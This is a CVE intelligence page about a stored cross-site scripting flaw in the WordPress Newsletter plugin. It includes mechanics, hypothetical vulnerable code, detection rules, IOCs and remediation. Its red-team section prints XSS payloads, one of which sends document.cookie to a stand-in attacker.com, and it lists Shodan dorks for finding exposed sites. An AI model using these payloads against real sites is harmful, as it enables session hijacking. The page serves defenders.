☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-3582

CVE-2025-3582 Cross-Site Scripting in Newsletter
📅 PUBLISHED: 2025-06-09 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-3582 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Newsletter WordPress plugin, affecting versions prior to 8.85. The flaw resides in the plugin's Form settings, where user-supplied input is not properly sanitized or escaped before being stored and later rendered in the admin dashboard. This allows high-privilege users, such as administrators, to inject malicious scripts that execute in the context of other administrators' browsers, even when the unfiltered_html capability is disallowed (e.g., in a multisite network). Successful exploitation could lead to session hijacking, credential theft, or further compromise of the WordPress installation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to update to version 8.85 or later. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

CVSS Score: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): High – An attacker must have administrator-level access to the WordPress site.
  • User Interaction (UI): Required – The victim must visit the compromised admin page.
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited information disclosure.
  • Integrity (I): Low – Limited ability to modify data.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the requirement for high privileges reduces the immediate risk. However, in a multisite environment where super admins manage multiple sites, the impact can be more severe.

Deep Dive & Mechanics

The vulnerability exists in the Newsletter plugin's form builder functionality. The plugin allows administrators to create and customize subscription forms. The flaw is in how the plugin handles certain form settings (e.g., field labels, placeholders, or custom CSS classes). When an admin saves these settings, the input is stored in the WordPress database without proper sanitization or output escaping.

When another admin (or the same admin) views the form settings page, the stored malicious payload is rendered in the HTML without being escaped. This allows the attacker's JavaScript to execute in the victim's browser.

Key Technical Details:

  • Vulnerable Component: Newsletter plugin's form settings (likely in the admin/ or includes/ directory).
  • Root Cause: Lack of input sanitization and output escaping on form setting fields.
  • Bypass: The vulnerability works even when unfiltered_html is disallowed, meaning the attacker cannot normally inject arbitrary HTML/JS. This suggests the plugin uses a function like wp_kses() incorrectly or not at all for these specific fields.
  • Privilege Escalation: While the attacker needs admin privileges, in a multisite setup, a site admin could use this to attack the network super admin, effectively escalating privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Version < 8.85):

// Hypothetical vulnerable code in form settings save handler
$form_settings = $_POST['newsletter_form_settings'];
update_option('newsletter_form_settings', $form_settings);

Patched Code (Version 8.85+):

// Patched code with proper sanitization and escaping
$form_settings = array_map('sanitize_text_field', $_POST['newsletter_form_settings']);
update_option('newsletter_form_settings', $form_settings);

Explanation: The patched version uses sanitize_text_field() to strip dangerous characters before saving. Additionally, the output is now escaped using esc_html() or similar functions when rendering the settings page.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A WordPress installation with the Newsletter plugin (version < 8.85).
  • Administrator-level access to the WordPress dashboard.

Steps:

  1. Log in as an administrator.
  2. Navigate to Newsletter > Forms.
  3. Edit an existing form or create a new one.
  4. In a form setting field (e.g., "Label" or "Placeholder"), inject the following payload:
    <script>alert('XSS')</script>
    
  5. Save the form.
  6. When another administrator visits the same form settings page, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor for unusual admin activity, especially in the Newsletter plugin settings.
  2. Review server logs for requests to /wp-admin/admin.php?page=newsletter_forms with suspicious POST parameters.
  3. Use the detection rules provided below.

Mitigation:

  • Immediately update the Newsletter plugin to version 8.85 or later.
  • Restrict admin access to trusted users only.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing document.cookie or similar data.
  • Unusual POST requests to /wp-admin/admin.php?page=newsletter_forms with encoded JavaScript payloads.

Host IOCs:

  • Modified wp_options table entries containing newsletter_form_settings with suspicious HTML/JavaScript.
  • Presence of <script> tags in the plugin's settings page HTML source.

File IOCs:

  • No specific file changes expected, as the payload is stored in the database.

Detection Engineering

YARA Rule

rule CVE_2025_3582_Newsletter_XSS {
    meta:
        description = "Detects stored XSS payloads in Newsletter plugin form settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3582"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $newsletter_option = "newsletter_form_settings"
    condition:
        $newsletter_option and #xss_payload > 0
}

Sigma Rule

title: CVE-2025-3582 - Newsletter Plugin Stored XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of stored XSS in Newsletter plugin form settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin.php*'
        cs-uri-query: 'page=newsletter_forms*'
        cs-uri-query|contains: 'newsletter_form_settings'
    condition: selection
falsepositives:
    - Legitimate admin activity
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3582 - Newsletter Plugin Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=newsletter_forms"; http_uri; content:"newsletter_form_settings"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update the Plugin: Upgrade the Newsletter plugin to version 8.85 or later.
  2. Audit Admin Accounts: Review all administrator accounts and remove any that are unnecessary.
  3. Scan for Compromise: Check the wp_options table for malicious entries related to newsletter_form_settings.

Long-Term Measures:

  • Implement a Web Application Firewall (WAF) with XSS detection rules.
  • Enforce the principle of least privilege for all WordPress users.
  • Regularly update all plugins and themes.
  • Use a security plugin (e.g., Wordfence) to monitor for suspicious activity.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Newsletter"
http.html:"newsletter"
http.html:"wp-content/plugins/newsletter"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-3582/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.